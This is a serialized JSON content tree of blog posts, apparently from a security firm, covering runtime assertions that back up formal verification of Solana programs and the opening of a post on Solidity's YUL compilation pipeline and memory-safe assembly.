Ok(())\n}\n",[35685],{"type":24,"tag":135,"props":35686,"children":35687},{"__ignoreMap":7},[35688,35703,35719,35734,35775,35782,35789,35796,35813,35829,35850,35857,35864,35880,35900,35928,35935,35942,35949,35957,36010,36036,36043,36072,36096,36131,36138,36149],{"type":24,"tag":271,"props":35689,"children":35690},{"class":273,"line":274},[35691,35695,35699],{"type":24,"tag":271,"props":35692,"children":35693},{"style":288},[35694],{"type":29,"value":30523},{"type":24,"tag":271,"props":35696,"children":35697},{"style":3887},[35698],{"type":29,"value":30528},{"type":24,"tag":271,"props":35700,"children":35701},{"style":288},[35702],{"type":29,"value":27947},{"type":24,"tag":271,"props":35704,"children":35705},{"class":273,"line":284},[35706,35710,35715],{"type":24,"tag":271,"props":35707,"children":35708},{"style":278},[35709],{"type":29,"value":21391},{"type":24,"tag":271,"props":35711,"children":35712},{"style":3887},[35713],{"type":29,"value":35714}," MyCtx",{"type":24,"tag":271,"props":35716,"children":35717},{"style":288},[35718],{"type":29,"value":7145},{"type":24,"tag":271,"props":35720,"children":35721},{"class":273,"line":294},[35722,35726,35730],{"type":24,"tag":271,"props":35723,"children":35724},{"style":288},[35725],{"type":29,"value":30814},{"type":24,"tag":271,"props":35727,"children":35728},{"style":278},[35729],{"type":29,"value":11448},{"type":24,"tag":271,"props":35731,"children":35732},{"style":288},[35733],{"type":29,"value":27947},{"type":24,"tag":271,"props":35735,"children":35736},{"class":273,"line":303},[35737,35741,35746,35750,35754,35758,35762,35766,35771],{"type":24,"tag":271,"props":35738,"children":35739},{"style":278},[35740],{"type":29,"value":28530},{"type":24,"tag":271,"props":35742,"children":35743},{"style":630},[35744],{"type":29,"value":35745}," my_account",{"type":24,"tag":271,"props":35747,"children":35748},{"style":624},[35749],{"type":29,"value":12210},{"type":24,"tag":271,"props":35751,"children":35752},{"style":3887},[35753],{"type":29,"value":30779},{"type":24,"tag":271,"props":35755,"children":35756},{"style":288},[35757],{"type":29,"value":30608},{"type":24,"tag":271,"props":35759,"children":35760},{"style":3887},[35761],{"type":29,"value":30613},{"type":24,"tag":271,"props":35763,"children":35764},{"style":288},[35765],{"type":29,"value":158},{"type":24,"tag":271,"props":35767,"children":35768},{"style":3887},[35769],{"type":29,"value":35770},"Acc",{"type":24,"tag":271,"props":35772,"children":35773},{"style":288},[35774],{"type":29,"value":13709},{"type":24,"tag":271,"props":35776,"children":35777},{"class":273,"line":312},[35778],{"type":24,"tag":271,"props":35779,"children":35780},{"style":288},[35781],{"type":29,"value":1171},{"type":24,"tag":271,"props":35783,"children":35784},{"class":273,"line":321},[35785],{"type":24,"tag":271,"props":35786,"children":35787},{"emptyLinePlaceholder":16},[35788],{"type":29,"value":327},{"type":24,"tag":271,"props":35790,"children":35791},{"class":273,"line":330},[35792],{"type":24,"tag":271,"props":35793,"children":35794},{"style":288},[35795],{"type":29,"value":28457},{"type":24,"tag":271,"props":35797,"children":35798},{"class":273,"line":339},[35799,35804,35808],{"type":24,"tag":271,"props":35800,"children":35801},{"style":288},[35802],{"type":29,"value":35803},"#[invariant(bad ",{"type":24,"tag":271,"props":35805,"children":35806},{"style":624},[35807],{"type":29,"value":5059},{"type":24,"tag":271,"props":35809,"children":35810},{"style":288},[35811],{"type":29,"value":35812}," false)]\n",{"type":24,"tag":271,"props":35814,"children":35815},{"class":273,"line":347},[35816,35820,35825],{"type":24,"tag":271,"props":35817,"children":35818},{"style":278},[35819],{"type":29,"value":1772},{"type":24,"tag":271,"props":35821,"children":35822},{"style":3887},[35823],{"type":29,"value":35824}," Acc",{"type":24,"tag":271,"props":35826,"children":35827},{"style":288},[35828],{"type":29,"value":7145},{"type":24,"tag":271,"props":35830,"children":35831},{"class":273,"line":356},[35832,35836,35841,35845],{"type":24,"tag":271,"props":35833,"children":35834},{"style":278},[35835],{"type":29,"value":28530},{"type":24,"tag":271,"props":35837,"children":35838},{"style":630},[35839],{"type":29,"value":35840}," bad",{"type":24,"tag":271,"props":35842,"children":35843},{"style":624},[35844],{"type":29,"value":12210},{"type":24,"tag":271,"props":35846,"children":35847},{"style":3887},[35848],{"type":29,"value":35849}," bool\n",{"type":24,"tag":271,"props":35851,"children":35852},{"class":273,"line":365},[35853],{"type":24,"tag":271,"props":35854,"children":35855},{"style":288},[35856],{"type":29,"value":1171},{"type":24,"tag":271,"props":35858,"children":35859},{"class":273,"line":374},[35860],{"type":24,"tag":271,"props":35861,"children":35862},{"emptyLinePlaceholder":16},[35863],{"type":29,"value":327},{"type":24,"tag":271,"props":35865,"children":35866},{"class":273,"line":384},[35867,35872,35876],{"type":24,"tag":271,"props":35868,"children":35869},{"style":278},[35870],{"type":29,"value":35871},"impl",{"type":24,"tag":271,"props":35873,"children":35874},{"style":3887},[35875],{"type":29,"value":35824},{"type":24,"tag":271,"props":35877,"children":35878},{"style":288},[35879],{"type":29,"value":7145},{"type":24,"tag":271,"props":35881,"children":35882},{"class":273,"line":393},[35883,35887,35891,35896],{"type":24,"tag":271,"props":35884,"children":35885},{"style":278},[35886],{"type":29,"value":28530},{"type":24,"tag":271,"props":35888,"children":35889},{"style":278},[35890],{"type":29,"value":21396},{"type":24,"tag":271,"props":35892,"children":35893},{"style":598},[35894],{"type":29,"value":35895}," put_into_bad_state",{"type":24,"tag":271,"props":35897,"children":35898},{"style":288},[35899],{"type":29,"value":23434},{"type":24,"tag":271,"props":35901,"children":35902},{"class":273,"line":402},[35903,35907,35911,35916,35920,35924],{"type":24,"tag":271,"props":35904,"children":35905},{"style":278},[35906],{"type":29,"value":35036},{"type":24,"tag":271,"props":35908,"children":35909},{"style":624},[35910],{"type":29,"value":41},{"type":24,"tag":271,"props":35912,"children":35913},{"style":288},[35914],{"type":29,"value":35915},"bad ",{"type":24,"tag":271,"props":35917,"children":35918},{"style":624},[35919],{"type":29,"value":762},{"type":24,"tag":271,"props":35921,"children":35922},{"style":278},[35923],{"type":29,"value":1717},{"type":24,"tag":271,"props":35925,"children":35926},{"style":288},[35927],{"type":29,"value":1069},{"type":24,"tag":271,"props":35929,"children":35930},{"class":273,"line":411},[35931],{"type":24,"tag":271,"props":35932,"children":35933},{"style":288},[35934],{"type":29,"value":4385},{"type":24,"tag":271,"props":35936,"children":35937},{"class":273,"line":420},[35938],{"type":24,"tag":271,"props":35939,"children":35940},{"style":288},[35941],{"type":29,"value":1171},{"type":24,"tag":271,"props":35943,"children":35944},{"class":273,"line":429},[35945],{"type":24,"tag":271,"props":35946,"children":35947},{"emptyLinePlaceholder":16},[35948],{"type":29,"value":327},{"type":24,"tag":271,"props":35950,"children":35951},{"class":273,"line":438},[35952],{"type":24,"tag":271,"props":35953,"children":35954},{"style":2058},[35955],{"type":29,"value":35956},"// Instruction handler:\n",{"type":24,"tag":271,"props":35958,"children":35959},{"class":273,"line":447},[35960,35964,35969,35973,35977,35981,35985,35989,35994,35998,36002,36006],{"type":24,"tag":271,"props":35961,"children":35962},{"style":278},[35963],{"type":29,"value":27955},{"type":24,"tag":271,"props":35965,"children":35966},{"style":598},[35967],{"type":29,"value":35968}," hard_to_verify",{"type":24,"tag":271,"props":35970,"children":35971},{"style":288},[35972],{"type":29,"value":606},{"type":24,"tag":271,"props":35974,"children":35975},{"style":630},[35976],{"type":29,"value":633},{"type":24,"tag":271,"props":35978,"children":35979},{"style":624},[35980],{"type":29,"value":12210},{"type":24,"tag":271,"props":35982,"children":35983},{"style":3887},[35984],{"type":29,"value":27977},{"type":24,"tag":271,"props":35986,"children":35987},{"style":288},[35988],{"type":29,"value":801},{"type":24,"tag":271,"props":35990,"children":35991},{"style":3887},[35992],{"type":29,"value":35993},"MyCtx",{"type":24,"tag":271,"props":35995,"children":35996},{"style":288},[35997],{"type":29,"value":28134},{"type":24,"tag":271,"props":35999,"children":36000},{"style":624},[36001],{"type":29,"value":786},{"type":24,"tag":271,"props":36003,"children":36004},{"style":3887},[36005],{"type":29,"value":21462},{"type":24,"tag":271,"props":36007,"children":36008},{"style":288},[36009],{"type":29,"value":28019},{"type":24,"tag":271,"props":36011,"children":36012},{"class":273,"line":455},[36013,36018,36022,36026,36031],{"type":24,"tag":271,"props":36014,"children":36015},{"style":598},[36016],{"type":29,"value":36017}," invoke_signed",{"type":24,"tag":271,"props":36019,"children":36020},{"style":288},[36021],{"type":29,"value":606},{"type":24,"tag":271,"props":36023,"children":36024},{"style":624},[36025],{"type":29,"value":17298},{"type":24,"tag":271,"props":36027,"children":36028},{"style":288},[36029],{"type":29,"value":36030},"); ",{"type":24,"tag":271,"props":36032,"children":36033},{"style":2058},[36034],{"type":29,"value":36035},"// Cross-program invocation\n",{"type":24,"tag":271,"props":36037,"children":36038},{"class":273,"line":464},[36039],{"type":24,"tag":271,"props":36040,"children":36041},{"emptyLinePlaceholder":16},[36042],{"type":29,"value":327},{"type":24,"tag":271,"props":36044,"children":36045},{"class":273,"line":473},[36046,36050,36055,36059,36063,36067],{"type":24,"tag":271,"props":36047,"children":36048},{"style":278},[36049],{"type":29,"value":10738},{"type":24,"tag":271,"props":36051,"children":36052},{"style":630},[36053],{"type":29,"value":36054}," invoke_res",{"type":24,"tag":271,"props":36056,"children":36057},{"style":624},[36058],{"type":29,"value":1712},{"type":24,"tag":271,"props":36060,"children":36061},{"style":624},[36062],{"type":29,"value":32975},{"type":24,"tag":271,"props":36064,"children":36065},{"style":288},[36066],{"type":29,"value":24920},{"type":24,"tag":271,"props":36068,"children":36069},{"style":2058},[36070],{"type":29,"value":36071},"// fetch result of invocation\n",{"type":24,"tag":271,"props":36073,"children":36074},{"class":273,"line":483},[36075,36079,36083,36087,36092],{"type":24,"tag":271,"props":36076,"children":36077},{"style":749},[36078],{"type":29,"value":5025},{"type":24,"tag":271,"props":36080,"children":36081},{"style":630},[36082],{"type":29,"value":36054},{"type":24,"tag":271,"props":36084,"children":36085},{"style":624},[36086],{"type":29,"value":1031},{"type":24,"tag":271,"props":36088,"children":36089},{"style":477},[36090],{"type":29,"value":36091}," 5",{"type":24,"tag":271,"props":36093,"children":36094},{"style":288},[36095],{"type":29,"value":7145},{"type":24,"tag":271,"props":36097,"children":36098},{"class":273,"line":491},[36099,36103,36107,36112,36116,36121,36126],{"type":24,"tag":271,"props":36100,"children":36101},{"style":630},[36102],{"type":29,"value":33862},{"type":24,"tag":271,"props":36104,"children":36105},{"style":624},[36106],{"type":29,"value":41},{"type":24,"tag":271,"props":36108,"children":36109},{"style":288},[36110],{"type":29,"value":36111},"my_account",{"type":24,"tag":271,"props":36113,"children":36114},{"style":624},[36115],{"type":29,"value":41},{"type":24,"tag":271,"props":36117,"children":36118},{"style":598},[36119],{"type":29,"value":36120},"put_into_bad_state",{"type":24,"tag":271,"props":36122,"children":36123},{"style":288},[36124],{"type":29,"value":36125},"(); ",{"type":24,"tag":271,"props":36127,"children":36128},{"style":2058},[36129],{"type":29,"value":36130},"// corrupt our account\n",{"type":24,"tag":271,"props":36132,"children":36133},{"class":273,"line":499},[36134],{"type":24,"tag":271,"props":36135,"children":36136},{"style":288},[36137],{"type":29,"value":4385},{"type":24,"tag":271,"props":36139,"children":36140},{"class":273,"line":3188},[36141,36145],{"type":24,"tag":271,"props":36142,"children":36143},{"style":3887},[36144],{"type":29,"value":22031},{"type":24,"tag":271,"props":36146,"children":36147},{"style":288},[36148],{"type":29,"value":22036},{"type":24,"tag":271,"props":36150,"children":36151},{"class":273,"line":3247},[36152],{"type":24,"tag":271,"props":36153,"children":36154},{"style":288},[36155],{"type":29,"value":1171},{"type":24,"tag":25,"props":36157,"children":36158},{},[36159,36161,36166],{"type":29,"value":36160},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":135,"props":36162,"children":36164},{"className":36163},[],[36165],{"type":29,"value":36111},{"type":29,"value":36167},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":25,"props":36169,"children":36170},{},[36171],{"type":29,"value":36172},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":25,"props":36174,"children":36175},{},[36176,36178,36183],{"type":29,"value":36177},"However, we can ",{"type":24,"tag":10648,"props":36179,"children":36180},{},[36181],{"type":29,"value":36182},"augment",{"type":29,"value":36184}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":25,"props":36186,"children":36187},{},[36188],{"type":29,"value":36189},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":261,"props":36191,"children":36193},{"code":36192,"language":10717,"meta":7,"className":10718,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[36194],{"type":24,"tag":135,"props":36195,"children":36196},{"__ignoreMap":7},[36197,36205,36256,36279,36286,36313,36336,36367,36374,36381,36389,36424,36431,36442],{"type":24,"tag":271,"props":36198,"children":36199},{"class":273,"line":274},[36200],{"type":24,"tag":271,"props":36201,"children":36202},{"style":624},[36203],{"type":29,"value":36204},"...\n",{"type":24,"tag":271,"props":36206,"children":36207},{"class":273,"line":284},[36208,36212,36216,36220,36224,36228,36232,36236,36240,36244,36248,36252],{"type":24,"tag":271,"props":36209,"children":36210},{"style":278},[36211],{"type":29,"value":27955},{"type":24,"tag":271,"props":36213,"children":36214},{"style":598},[36215],{"type":29,"value":35968},{"type":24,"tag":271,"props":36217,"children":36218},{"style":288},[36219],{"type":29,"value":606},{"type":24,"tag":271,"props":36221,"children":36222},{"style":630},[36223],{"type":29,"value":633},{"type":24,"tag":271,"props":36225,"children":36226},{"style":624},[36227],{"type":29,"value":12210},{"type":24,"tag":271,"props":36229,"children":36230},{"style":3887},[36231],{"type":29,"value":27977},{"type":24,"tag":271,"props":36233,"children":36234},{"style":288},[36235],{"type":29,"value":801},{"type":24,"tag":271,"props":36237,"children":36238},{"style":3887},[36239],{"type":29,"value":35993},{"type":24,"tag":271,"props":36241,"children":36242},{"style":288},[36243],{"type":29,"value":28134},{"type":24,"tag":271,"props":36245,"children":36246},{"style":624},[36247],{"type":29,"value":786},{"type":24,"tag":271,"props":36249,"children":36250},{"style":3887},[36251],{"type":29,"value":21462},{"type":24,"tag":271,"props":36253,"children":36254},{"style":288},[36255],{"type":29,"value":28019},{"type":24,"tag":271,"props":36257,"children":36258},{"class":273,"line":294},[36259,36263,36267,36271,36275],{"type":24,"tag":271,"props":36260,"children":36261},{"style":598},[36262],{"type":29,"value":36017},{"type":24,"tag":271,"props":36264,"children":36265},{"style":288},[36266],{"type":29,"value":606},{"type":24,"tag":271,"props":36268,"children":36269},{"style":624},[36270],{"type":29,"value":17298},{"type":24,"tag":271,"props":36272,"children":36273},{"style":288},[36274],{"type":29,"value":36030},{"type":24,"tag":271,"props":36276,"children":36277},{"style":2058},[36278],{"type":29,"value":36035},{"type":24,"tag":271,"props":36280,"children":36281},{"class":273,"line":303},[36282],{"type":24,"tag":271,"props":36283,"children":36284},{"emptyLinePlaceholder":16},[36285],{"type":29,"value":327},{"type":24,"tag":271,"props":36287,"children":36288},{"class":273,"line":312},[36289,36293,36297,36301,36305,36309],{"type":24,"tag":271,"props":36290,"children":36291},{"style":278},[36292],{"type":29,"value":10738},{"type":24,"tag":271,"props":36294,"children":36295},{"style":630},[36296],{"type":29,"value":36054},{"type":24,"tag":271,"props":36298,"children":36299},{"style":624},[36300],{"type":29,"value":1712},{"type":24,"tag":271,"props":36302,"children":36303},{"style":624},[36304],{"type":29,"value":32975},{"type":24,"tag":271,"props":36306,"children":36307},{"style":288},[36308],{"type":29,"value":24920},{"type":24,"tag":271,"props":36310,"children":36311},{"style":2058},[36312],{"type":29,"value":36071},{"type":24,"tag":271,"props":36314,"children":36315},{"class":273,"line":321},[36316,36320,36324,36328,36332],{"type":24,"tag":271,"props":36317,"children":36318},{"style":749},[36319],{"type":29,"value":5025},{"type":24,"tag":271,"props":36321,"children":36322},{"style":630},[36323],{"type":29,"value":36054},{"type":24,"tag":271,"props":36325,"children":36326},{"style":624},[36327],{"type":29,"value":1031},{"type":24,"tag":271,"props":36329,"children":36330},{"style":477},[36331],{"type":29,"value":36091},{"type":24,"tag":271,"props":36333,"children":36334},{"style":288},[36335],{"type":29,"value":7145},{"type":24,"tag":271,"props":36337,"children":36338},{"class":273,"line":330},[36339,36343,36347,36351,36355,36359,36363],{"type":24,"tag":271,"props":36340,"children":36341},{"style":630},[36342],{"type":29,"value":33862},{"type":24,"tag":271,"props":36344,"children":36345},{"style":624},[36346],{"type":29,"value":41},{"type":24,"tag":271,"props":36348,"children":36349},{"style":288},[36350],{"type":29,"value":36111},{"type":24,"tag":271,"props":36352,"children":36353},{"style":624},[36354],{"type":29,"value":41},{"type":24,"tag":271,"props":36356,"children":36357},{"style":598},[36358],{"type":29,"value":36120},{"type":24,"tag":271,"props":36360,"children":36361},{"style":288},[36362],{"type":29,"value":36125},{"type":24,"tag":271,"props":36364,"children":36365},{"style":2058},[36366],{"type":29,"value":36130},{"type":24,"tag":271,"props":36368,"children":36369},{"class":273,"line":339},[36370],{"type":24,"tag":271,"props":36371,"children":36372},{"style":288},[36373],{"type":29,"value":4385},{"type":24,"tag":271,"props":36375,"children":36376},{"class":273,"line":347},[36377],{"type":24,"tag":271,"props":36378,"children":36379},{"emptyLinePlaceholder":16},[36380],{"type":29,"value":327},{"type":24,"tag":271,"props":36382,"children":36383},{"class":273,"line":356},[36384],{"type":24,"tag":271,"props":36385,"children":36386},{"style":2058},[36387],{"type":29,"value":36388}," // Enforce invariants at runtime\n",{"type":24,"tag":271,"props":36390,"children":36391},{"class":273,"line":365},[36392,36396,36400,36404,36408,36412,36416,36420],{"type":24,"tag":271,"props":36393,"children":36394},{"style":598},[36395],{"type":29,"value":26929},{"type":24,"tag":271,"props":36397,"children":36398},{"style":288},[36399],{"type":29,"value":606},{"type":24,"tag":271,"props":36401,"children":36402},{"style":630},[36403],{"type":29,"value":633},{"type":24,"tag":271,"props":36405,"children":36406},{"style":624},[36407],{"type":29,"value":41},{"type":24,"tag":271,"props":36409,"children":36410},{"style":288},[36411],{"type":29,"value":36111},{"type":24,"tag":271,"props":36413,"children":36414},{"style":624},[36415],{"type":29,"value":41},{"type":24,"tag":271,"props":36417,"children":36418},{"style":598},[36419],{"type":29,"value":29463},{"type":24,"tag":271,"props":36421,"children":36422},{"style":288},[36423],{"type":29,"value":23122},{"type":24,"tag":271,"props":36425,"children":36426},{"class":273,"line":374},[36427],{"type":24,"tag":271,"props":36428,"children":36429},{"emptyLinePlaceholder":16},[36430],{"type":29,"value":327},{"type":24,"tag":271,"props":36432,"children":36433},{"class":273,"line":384},[36434,36438],{"type":24,"tag":271,"props":36435,"children":36436},{"style":3887},[36437],{"type":29,"value":22031},{"type":24,"tag":271,"props":36439,"children":36440},{"style":288},[36441],{"type":29,"value":22036},{"type":24,"tag":271,"props":36443,"children":36444},{"class":273,"line":393},[36445],{"type":24,"tag":271,"props":36446,"children":36447},{"style":288},[36448],{"type":29,"value":1171},{"type":24,"tag":25,"props":36450,"children":36451},{},[36452,36454,36459,36461,36466,36468,36473],{"type":29,"value":36453},"Here, we explicitly ",{"type":24,"tag":135,"props":36455,"children":36457},{"className":36456},[],[36458],{"type":29,"value":27673},{"type":29,"value":36460}," that our invariants hold at ",{"type":24,"tag":10648,"props":36462,"children":36463},{},[36464],{"type":29,"value":36465},"runtime",{"type":29,"value":36467}," which allows us to be assured that ",{"type":24,"tag":135,"props":36469,"children":36471},{"className":36470},[],[36472],{"type":29,"value":36111},{"type":29,"value":36474}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":25,"props":36476,"children":36477},{},[36478],{"type":29,"value":36479},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":62,"props":36481,"children":36483},{"id":36482},"challenges-of-formal-verification-on-solana",[36484],{"type":29,"value":36485},"Challenges of formal verification on Solana",{"type":24,"tag":85,"props":36487,"children":36489},{"id":36488},"expensive-computation",[36490],{"type":29,"value":36491},"Expensive computation",{"type":24,"tag":25,"props":36493,"children":36494},{},[36495,36497,36502],{"type":29,"value":36496},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":10648,"props":36498,"children":36499},{},[36500],{"type":29,"value":36501},"path explosion",{"type":29,"value":36503},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":25,"props":36505,"children":36506},{},[36507,36509,36514],{"type":29,"value":36508},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":10648,"props":36510,"children":36511},{},[36512],{"type":29,"value":36513},"formal verification friendly",{"type":29,"value":36515},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":25,"props":36517,"children":36518},{},[36519,36521,36526,36528,36533],{"type":29,"value":36520},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":135,"props":36522,"children":36524},{"className":36523},[],[36525],{"type":29,"value":29084},{"type":29,"value":36527}," in a ",{"type":24,"tag":135,"props":36529,"children":36531},{"className":36530},[],[36532],{"type":29,"value":24904},{"type":29,"value":36534},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":25,"props":36536,"children":36537},{},[36538,36540,36545,36547,36552,36554,36559,36561,36566,36568,36573,36575,36580],{"type":29,"value":36539},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":135,"props":36541,"children":36543},{"className":36542},[],[36544],{"type":29,"value":24904},{"type":29,"value":36546}," or a 32-byte ",{"type":24,"tag":135,"props":36548,"children":36550},{"className":36549},[],[36551],{"type":29,"value":29084},{"type":29,"value":36553},". Instead, our tool can substitute in ",{"type":24,"tag":10648,"props":36555,"children":36556},{},[36557],{"type":29,"value":36558},"cheaper",{"type":29,"value":36560}," types and functions, such as a 4-byte ",{"type":24,"tag":135,"props":36562,"children":36564},{"className":36563},[],[36565],{"type":29,"value":29084},{"type":29,"value":36567}," struct and a fixed-size, array-backed ",{"type":24,"tag":135,"props":36569,"children":36571},{"className":36570},[],[36572],{"type":29,"value":24904},{"type":29,"value":36574}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":10648,"props":36576,"children":36577},{},[36578],{"type":29,"value":36579},"much",{"type":29,"value":36581}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":25,"props":36583,"children":36584},{},[36585],{"type":29,"value":36586},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":24,"tag":85,"props":36588,"children":36590},{"id":36589},"runtime-environment",[36591],{"type":29,"value":36592},"Runtime Environment",{"type":24,"tag":25,"props":36594,"children":36595},{},[36596],{"type":29,"value":36597},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":25,"props":36599,"children":36600},{},[36601],{"type":29,"value":36602},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":25,"props":36604,"children":36605},{},[36606],{"type":29,"value":36607},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":62,"props":36609,"children":36610},{"id":10547},[36611],{"type":29,"value":10550},{"type":24,"tag":25,"props":36613,"children":36614},{},[36615],{"type":29,"value":36616},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":25,"props":36618,"children":36619},{},[36620],{"type":29,"value":36621},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":24,"tag":26485,"props":36623,"children":36624},{},[],{"type":24,"tag":25,"props":36626,"children":36627},{},[36628],{"type":24,"tag":10648,"props":36629,"children":36630},{},[36631,36633,36638,36639,36643],{"type":29,"value":36632},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":32,"props":36634,"children":36636},{"href":26568,"rel":36635},[36],[36637],{"type":29,"value":26572},{"type":29,"value":26574},{"type":24,"tag":32,"props":36640,"children":36641},{"href":26577},[36642],{"type":29,"value":26580},{"type":29,"value":41},{"type":24,"tag":10562,"props":36645,"children":36646},{},[36647],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":36649},[36650,36656,36660,36665,36671,36675],{"id":26642,"depth":284,"text":26645,"children":36651},[36652,36653,36654,36655],{"id":26648,"depth":294,"text":26651},{"id":26716,"depth":294,"text":26719},{"id":27593,"depth":294,"text":27596},{"id":27633,"depth":294,"text":27636},{"id":27686,"depth":284,"text":36657,"children":36658},"Specification: How can we describe what we want our program to do?",[36659],{"id":27799,"depth":294,"text":27802},{"id":29156,"depth":284,"text":29159,"children":36661},[36662,36663,36664],{"id":29832,"depth":294,"text":29835},{"id":30117,"depth":294,"text":30120},{"id":30261,"depth":294,"text":30264},{"id":30402,"depth":284,"text":30405,"children":36666},[36667,36668,36669,36670],{"id":30473,"depth":294,"text":30476},{"id":32314,"depth":294,"text":32317},{"id":33116,"depth":294,"text":30465},{"id":35642,"depth":294,"text":30470},{"id":36482,"depth":284,"text":36485,"children":36672},[36673,36674],{"id":36488,"depth":294,"text":36491},{"id":36589,"depth":294,"text":36592},{"id":10547,"depth":284,"text":10550},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":36680,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36681,"description":36682,"author":13438,"image":36683,"date":36685,"isFeatured":16,"onBlogPage":16,"tags":36686,"body":36688,"_type":10599,"_id":38105,"_source":10601,"_file":38106,"_stem":38107,"_extension":10604},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":36684,"height":21324,"width":21324},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[12192,36687],"compiler",{"type":21,"children":36689,"toc":38096},[36690,36696,36732,36744,36750,36772,36785,36930,36951,36956,36977,36982,36990,36995,37000,37005,37011,37030,37035,37056,37119,37132,37162,37182,37209,37214,37227,37232,37237,37250,37281,37304,37458,37476,37527,37546,37571,37576,37582,37609,37629,37657,37662,37684,37703,37711,37722,37727,37743,38000,38008,38013,38017,38022,38027,38092],{"type":24,"tag":62,"props":36691,"children":36693},{"id":36692},"introduction",[36694],{"type":29,"value":36695},"Introduction",{"type":24,"tag":25,"props":36697,"children":36698},{},[36699,36701,36707,36708,36712,36714,36721,36723,36730],{"type":29,"value":36700},"What does ",{"type":24,"tag":135,"props":36702,"children":36704},{"className":36703},[],[36705],{"type":29,"value":36706},"memory-safe",{"type":29,"value":3360},{"type":24,"tag":10648,"props":36709,"children":36710},{},[36711],{"type":29,"value":16996},{"type":29,"value":36713}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":32,"props":36715,"children":36718},{"href":36716,"rel":36717},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[36],[36719],{"type":29,"value":36720},"presents some requirements",{"type":29,"value":36722},", but is production code that ",{"type":24,"tag":32,"props":36724,"children":36727},{"href":36725,"rel":36726},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[36],[36728],{"type":29,"value":36729},"violates these requirements",{"type":29,"value":36731}," necessarily unsafe?",{"type":24,"tag":25,"props":36733,"children":36734},{},[36735,36737,36742],{"type":29,"value":36736},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":10648,"props":36738,"children":36739},{},[36740],{"type":29,"value":36741},"memory-safety",{"type":29,"value":36743}," actually means.",{"type":24,"tag":62,"props":36745,"children":36747},{"id":36746},"compiler-pipeline",[36748],{"type":29,"value":36749},"Compiler Pipeline",{"type":24,"tag":25,"props":36751,"children":36752},{},[36753,36755,36762,36764,36771],{"type":29,"value":36754},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":32,"props":36756,"children":36759},{"href":36757,"rel":36758},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[36],[36760],{"type":29,"value":36761},"released in v0.8.13",{"type":29,"value":36763},". Compilation happens ",{"type":24,"tag":32,"props":36765,"children":36768},{"href":36766,"rel":36767},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[36],[36769],{"type":29,"value":36770},"in two main steps",{"type":29,"value":12210},{"type":24,"tag":3834,"props":36773,"children":36774},{},[36775,36780],{"type":24,"tag":101,"props":36776,"children":36777},{},[36778],{"type":29,"value":36779},"Solidity to YUL IR",{"type":24,"tag":101,"props":36781,"children":36782},{},[36783],{"type":29,"value":36784},"YUL IR to EVM 